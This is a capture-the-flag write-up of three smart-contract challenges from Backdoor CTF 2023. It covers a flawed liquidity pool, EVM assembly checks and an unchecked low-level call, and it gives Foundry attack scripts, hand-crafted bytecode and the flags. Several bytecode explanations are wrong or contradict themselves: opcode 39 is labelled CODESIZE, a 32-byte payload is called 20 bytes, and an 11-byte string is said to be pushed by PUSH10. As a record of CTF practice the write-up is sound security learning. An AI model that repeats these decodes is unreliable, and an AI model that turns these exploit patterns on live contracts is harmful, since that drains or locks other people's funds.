Posted on :: Tags: ,

Back to CTF's to be sharper in problem solving. I played Backdoor CTF 2023 with our amazing team Infobahn. We got 4th place in this CTF. I solved few Blockchain challs as usual. Solutions,

Curvy Pool

No description required, isSolved() is the problem statement for us (most of the time).

Solution

First of all understaning protocol setup is necessary for any DeFi challenge. Seems like the challenge is mentioning about Curve pool and we have a liquidity token and a pool contract. The Pool contract have the basic swap, add and remove liquidity functions to swap for tokens, adding and removing liquidity in the pool. The two tokens in the pool are WETH and PuffETH.

Intially in setUp contract minted 11 ether of tokens WETH and PuffETH and provided liquidity to Pool contract. Setup contract has two claim functions to claim 1 ether of WETH and PuffETH tokens for us. To solve this challenge we need to hold more than half of the shares held by owner.

Owner provided 10 ether of each token to the pool, but we have only 1 ether of each, as soon as the protocol is secured we can't actually do this. But we know there is a bug :)

Let's find it.

Points to note in the protocol

  • In the swap() function we can swap one token at a time. No flash loan kind of thing (Uniswap)
  • addLiquidity() function was checking the in tokens ratios incorrectly, if (amount0 < 0 || amount1 < 0) this improper check will allow us to add 0 amount of liquidity of a token.
  • This line uint256 liquidityTokens = ((amount0*amount0) + (amount1*amount1))/(1 ether) is calculating the liquidity tokens to mint for us. To get more LP tokens we can make amount0 or amount1 soo bigger then the square of will be even big and it will be devided by 1 ether, but we will get decent number of LP tokens.
  • The removeLiquidity() function will transfer both the tokens equally (liquidityTokens/2).

So, now what we can do is, we will swap our WETH completely for PuffETH token and then we provide liquidity of PuffETH token only so that we can make liquidityTokens somewhat higher in calculation. Then we remove the liquidity to get equal amount of WETH and PuffETH tokens. We will continue this for 2 iterations, so we will get more than 10 ether of WETH and PuffETH tokens. At last providing liquidity of both tokens to the pool will mint us more LP tokens than owner.

Runing attack script

forge script script/Solve.s.sol:SolveScript --rpc-url <RPC_URL> --broadcast

EasyPeasy

Solution

Solution is simple, we need to call func() function on Challenge contract. And we have to pass through all the checks and reach the last line of execution to solve this.

We need to pass a bytes input that satisfies all the conditions written in assembly.

Let's analyze the challenge and its solution step by step.

Challenge Analysis

The challenge has several checks we need to pass:

  1. Code Size Check:
codeSize := extcodesize(addr)
if gt(codeSize, maxCodeSize) {
    revert(0, 0)
}

Our deployed contract must be less than 30 bytes in size.

  1. Value Checks:
let value := callvalue()
let value1 := value
let value3 := 0
let value2 := 0

// First check: value must be palindrome in binary
for { } gt(value1, 0) { value1 := shr(1, value1) } {
    value3 := shl(1, value3)
    value3 := or(value3, and(value1, 1))
}
let bool1 := eq(value, value3)

// Second check: value must have exactly 2 bits set
value1 := value
for { } gt(value1, 0) { value1 := and(value1, sub(value1, 1)) } {
    value2 := add(value2, 1)
}
let bool2 := or(lt(value2, 4), eq(value2, 3))

We need to send exactly 3 wei (which has 2 bits set and is palindrome in binary).

  1. Return Value Checks:
require(retValue1 == "L", "Invalid return value");  // First call
require(retValue2 == "M", "Invalid return value");  // Second call with value

Our contract must return "L" on normal call and "M" when called with value.

  1. Hash Check:
bytes32 hashedValue = keccak256(abi.encodePacked(value4));
require(hashedValue == stick, "Hash mismatch");

The value4 (deadbeef) must hash to the specified stick value.

Solution Explanation

Let's break down our solution:

  1. First, we deploy a minimal contract that satisfies all conditions. The bytecode is:
6018600c60003960186000f33415600e57604d5f526020601ff35b604c5f526020601ff3

Let's decode this bytecode:

60 18       // PUSH1 0x18 (24 bytes)
60 0c       // PUSH1 0x0c (12 bytes)
60 00       // PUSH1 0x00
39          // CODESIZE
60 18       // PUSH1 0x18
60 00       // PUSH1 0x00
f3          // RETURN
34          // CALLVALUE
15          // ISZERO
60 0e       // PUSH1 0x0e
57          // JUMPI
60 4d       // PUSH1 0x4d ('M')
5f          // PUSH0
52          // MSTORE
60 20       // PUSH1 0x20
60 1f       // PUSH1 0x1f
f3          // RETURN

This bytecode creates a contract that:

  1. Returns "L" when called normally
  2. Returns "M" when called with value
  3. Is exactly 24 bytes in size (satisfying the size check)
  4. Has proper control flow to handle both cases

The contract logic:

  1. If CALLVALUE is 0 (normal call):
    • Store "L" in memory
    • Return "L"
  2. If CALLVALUE is non-zero (call with value):
    • Store "M" in memory
    • Return "M"

Attack Script Explanation

contract SolveScript is Script {
    Setup public set = Setup(0x457C34237d573e6207c8f65eAcc2f48dDa2ddD12);
    Challenge public challenge;

    function run() public {
        // Deploy our minimal contract
        AttackDeployer attack = new AttackDeployer();
        address addr = attack.exploit();
        
        // Create input with our contract address and deadbeef
        bytes memory input = abi.encodePacked(address(addr), hex"deadbeef");
        
        // Call func with 3 wei (satisfies both value checks)
        challenge.func{value: 3 wei}(input);
    }
}

The attack works because:

  1. Our deployed contract is exactly 24 bytes (satisfying size check)
  2. We send 3 wei which:
    • Has exactly 2 bits set (11 in binary)
    • Is palindrome in binary (11)
  3. Our contract returns correct values based on callvalue
  4. The deadbeef value hashes to the required stick value

This is a great example of EVM bytecode optimization and understanding low-level contract behavior. The challenge tests knowledge of:

  • EVM opcodes and bytecode
  • Contract deployment and size constraints
  • Binary number properties
  • Contract return value handling
  • Memory operations in EVM

The flag h4v333_y0uuuu_r34d_EVMMM? is well deserved for anyone who can solve this challenge!

Betray

This challenge involves a Treasury contract that pays dividends to a servant and a master. The goal is to:

  1. Make the master unable to withdraw funds (revert the withdraw call)
  2. Leak the secret from the servant

Solution

Looking at the isSolved() function in Setup.sol:

function isSolved() public returns (bool) {
    (bool MasterCanWithdraw, ) = address(treasury).call{gas : 1000000}(abi.encodeWithSignature("withdraw()"));
    bool IKnowTheSecret = secretChecker.SecretIsLeaked();  
    return (!MasterCanWithdraw) && IKnowTheSecret;   
}    

We need to satisfy two conditions:

  1. !MasterCanWithdraw: The master's withdraw call must revert

    • This means our servant contract must make the withdraw() function revert
    • We can do this by making our receive() function consume all gas
  2. IKnowTheSecret: The secret must be leaked

    • We need to deploy a contract that returns the correct secret
    • The contract must be ≤ 20 bytes in size
    • The secret is "I'm_L0yal;)" shifted right by 24*7 bits

The key contracts are:

  • Treasury: Manages funds and pays dividends
  • SecretChecker: Verifies if the secret is leaked
  • Servant: Interface that requires implementing spillSecret()

The vulnerability lies in the withdraw() function of the Treasury contract, which uses a low-level call to send funds to the servant without checking the return value. This allows us to deploy a malicious contract that can revert the transaction when receiving funds.

Solution

Let's analyze the vulnerability and solution in detail:

Vulnerability Analysis

  1. Treasury Contract Vulnerability:
function withdraw() public {
    uint256 dividend = address(this).balance / 100;
    servant.call{value: dividend}("");  // No return value check!
    payable(master).transfer(dividend);
    timesWithdrawn++;
    servantBalances[servant] += dividend;
}

The key vulnerability is in the withdraw() function:

  • It uses a low-level call to send funds to the servant
  • The return value is not checked
  • If the servant's receive() function reverts, the master's transfer never happens
  • We can exploit this by making our servant contract revert on receive
  1. SecretChecker Requirements:
function IKnowTheSecret(address _servant) public {
    require(!attempted[keccak256(abi.encodePacked(_servant))], "Won't give another chance :p");
    uint256 length;
    assembly {
        length := extcodesize(_servant)
    }
    require(length <= 20, "HaHa! try again xD");
    Servant servant = Servant(_servant);
    bytes32 encodedSecret = servant.spillSecret();
    bytes32 secret = bytes32(abi.encodePacked("I'm_L0yal;)")) >> (24 * 7);
    require(keccak256(abi.encodePacked(secret)) == keccak256(abi.encodePacked(encodedSecret)), "You don't know the secret!");
}

We need to:

  • Deploy a contract ≤ 20 bytes
  • Implement spillSecret() to return the correct secret
  • The secret is "I'm_L0yal;)" shifted right by 24*7 bits
  1. Preventing Master's Withdrawal:
  • We need to make the withdraw() function revert when sending funds to our servant
  • We can do this by implementing a receive() function that consumes all gas
  • An infinite loop in receive() will cause the transaction to revert
  • This prevents the master's transfer from happening
  1. Leaking the Secret:
  • We need to deploy a minimal contract that:
    • Is exactly 20 bytes in size
    • Returns the correct secret when spillSecret() is called
    • The secret is "I'm_L0yal;)" shifted right by 24*7 bits
  1. Attack Flow:
  2. Deploy our malicious contract that:
    • Has a gas-consuming receive() function
    • Returns the correct secret
  3. Set our contract as the servant
  4. Call withdraw() which will:
    • Send funds to our contract
    • Our receive() function will revert
    • Master's transfer never happens
  5. Verify the secret with SecretChecker

Writing the Required Smart Contract in Bytecode

Let's understand how we craft the minimal contract that satisfies all requirements:

  1. Understanding Requirements:
// From SecretChecker.sol
require(length <= 20, "HaHa! try again xD");  // Contract must be ≤ 20 bytes
bytes32 secret = bytes32(abi.encodePacked("I'm_L0yal;)")) >> (24 * 7);  // Required secret
  1. Breaking Down the Secret:
// Original string: "I'm_L0yal;)"
// Length: 10 bytes
// After right shift by 24*7 bits:
// 0x00000000000000000000000000000000000000000049276d5f4c3079616c3b29
  1. Writing the Contract in Bytecode:

First, let's write the initialization code:

60 14       // PUSH1 0x14 (20 bytes)
60 0c       // PUSH1 0x0c (12 bytes)
60 00       // PUSH1 0x00
39          // CODESIZE
60 14       // PUSH1 0x14
60 00       // PUSH1 0x00
f3          // RETURN

This ensures our contract is exactly 20 bytes.

Now, let's write the runtime code:

6a          // PUSH10 (push 10 bytes)
49 27 6d 5f 4c 30 79 61 6c 3b 29  // "I'm_L0yal;)" (the secret)
60 00       // PUSH1 0x00 (memory offset)
52          // MSTORE (store in memory)
60 20       // PUSH1 0x20 (32 bytes)
60 00       // PUSH1 0x00 (memory offset)
f3          // RETURN (return the secret)
  1. Combining the Bytecode:
// Initialization code (12 bytes)
6014600c60003960146000f3

// Runtime code (8 bytes)
6a49276d5f4c3079616c3b2960005260206000f3

// Combined (20 bytes)
6014600c60003960146000f36a49276d5f4c3079616c3b2960005260206000f3
  1. How it Works:
  • When deployed:
    1. Initialization code runs first
    2. Returns exactly 20 bytes of code
    3. Runtime code is what remains after deployment
  • When spillSecret() is called:
    1. Runtime code executes
    2. Pushes "I'm_L0yal;)" onto stack
    3. Stores it in memory
    4. Returns it as the secret
  1. Verifying the Size:
// In SecretChecker.sol
uint256 length;
assembly {
    length := extcodesize(_servant)
}
require(length <= 20, "HaHa! try again xD");

Our contract is exactly 20 bytes, satisfying this check.

  1. Verifying the Secret:
// In SecretChecker.sol
bytes32 encodedSecret = servant.spillSecret();
bytes32 secret = bytes32(abi.encodePacked("I'm_L0yal;)")) >> (24 * 7);
require(keccak256(abi.encodePacked(secret)) == keccak256(abi.encodePacked(encodedSecret)));

Our contract returns "I'm_L0yal;)" which, when shifted right by 24*7 bits, matches the required secret.

Solution Script

The flag r3venge_t4k3n_5ucc3s5fu11y!;) is well deserved for this clever exploit that combines multiple concepts in smart contract security!


Thanks to making it this far!